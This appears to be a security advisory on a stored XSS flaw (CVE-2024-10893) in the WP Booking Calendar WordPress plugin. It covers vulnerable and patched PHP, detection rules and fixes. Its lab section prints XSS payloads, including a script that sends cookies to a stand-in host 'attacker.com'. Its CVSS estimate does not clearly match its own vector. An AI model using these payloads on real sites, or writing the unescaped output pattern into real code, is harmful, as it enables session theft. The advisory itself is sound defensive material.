CVE-2024-10893

Executive Summary

CVE-2024-10893 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the WP Booking Calendar WordPress plugin, affecting versions prior to 10.6.5. The flaw arises from insufficient sanitization and escaping of certain plugin settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts. In multisite WordPress configurations, where the unfiltered_html capability is typically disallowed, this vulnerability becomes particularly dangerous as it enables privilege escalation and persistent compromise across the network.

Supply Chain & Package Security

This vulnerability resides in the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify the integrity of the plugin by checking the SHA-256 hash against the official repository after updating. No known supply chain attacks have been reported for this specific CVE, but the risk of plugin tampering remains if downloaded from unofficial sources.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; estimated 4.8 Medium based on vector)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: Required (UI:R) – victim must visit compromised page
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While exploitation requires admin privileges, the impact in multisite environments can be severe, allowing persistent XSS that affects all sites under the network.

Deep Dive & Mechanics

The vulnerability exists in the plugin's settings page, where user-supplied input is not properly sanitized before being stored and later rendered. Specifically, the plugin fails to escape output for certain configuration fields, allowing an attacker with admin access to inject arbitrary HTML and JavaScript.

Root Cause: The plugin uses echo or _e() functions without applying esc_html() or wp_kses_post() to sanitize the output. This allows stored XSS payloads to execute when the settings page is viewed by other administrators or users with access to the admin area.

Attack Flow:

1. Attacker gains admin credentials (via phishing, credential stuffing, or other means).
2. Attacker navigates to the plugin settings page and injects a malicious script into an unsanitized field (e.g., a text input for custom CSS or labels).
3. The payload is stored in the WordPress database.
4. When another admin or user with appropriate permissions visits the settings page, the script executes in their browser.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (pre-10.6.5):

// In settings page rendering
echo '<input type="text" name="booking_calendar_custom_css" value="' . $custom_css . '" />';

Here, $custom_css is output directly without escaping.

Patched Code (10.6.5+):

// In settings page rendering
echo '<input type="text" name="booking_calendar_custom_css" value="' . esc_attr( $custom_css ) . '" />';

The esc_attr() function ensures the value is safely escaped for HTML attribute context.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress multisite installation with WP Booking Calendar < 10.6.5
• Admin credentials for the network

Steps:

1. Log in as a super admin.
2. Navigate to wp-admin/admin.php?page=wp-booking-calendar-settings.
3. Locate an unsanitized input field (e.g., "Custom CSS").
4. Inject the following payload:

   <script>alert('XSS');</script>
   

5. Save the settings.
6. When another admin visits the same page, the script executes.

Advanced Payload (Cookie Theft):

<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to plugin settings via audit logs.
• Look for script tags in database fields associated with the plugin (e.g., wp_options table, booking_calendar_* options).

Hardening:

• Apply the patch by updating to version 10.6.5 or later.
• Restrict admin access to trusted users only.
• Implement Web Application Firewall (WAF) rules to block XSS payloads in admin areas.
• Use WordPress security plugins to monitor file integrity and settings changes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-booking-calendar/wp-booking-calendar.php (check version string)
• Database: Suspicious entries in wp_options where option_name contains booking_calendar and option_value includes <script> tags.
• Network: Outbound connections to attacker-controlled domains from admin browsers.
• Logs: Repeated admin login attempts from unusual IPs, followed by settings changes.

Detection Engineering

YARA Rule

rule wp_booking_calendar_xss {
    meta:
        description = "Detects stored XSS payloads in WP Booking Calendar settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10893"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_option = /booking_calendar_/
    condition:
        $plugin_option and $xss_payload
}

Sigma Rule

title: WP Booking Calendar Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS in WP Booking Calendar plugin settings
author: Valters IT
date: 2025/04/10
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Custom event for settings change
        ObjectName|contains: 'booking_calendar'
        NewValue|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom CSS fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"WP Booking Calendar Stored XSS Payload in Settings"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=wp-booking-calendar-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the WP Booking Calendar plugin to version 10.6.5 or later.
2. Review all admin accounts and remove unnecessary privileges.
3. Scan the WordPress database for existing XSS payloads in plugin-related options.

Long-term Measures:

• Implement a Content Security Policy (CSP) to restrict script execution.
• Enable automatic updates for WordPress plugins.
• Conduct regular security audits of plugin code.
• Use a Web Application Firewall (WAF) with XSS detection rules.

Workaround (if patching is not possible):

• Disable the plugin temporarily.
• Restrict access to the plugin settings page via .htaccess or a security plugin.

Valters IT
Securing Digital Frontiers